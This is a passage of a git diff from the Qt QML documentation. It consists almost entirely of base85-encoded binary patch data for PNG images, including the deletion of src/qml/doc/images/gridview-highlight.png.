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 U9d=gI1sEL+p00i_>zopr0GK_?;Q#;t diff --git a/src/qml/doc/images/gridview-highlight.png b/src/qml/doc/images/gridview-highlight.png deleted file mode 100644 index b54af37f931fb0c6d8e6a07ef44c09f9342ff46c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 11806 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 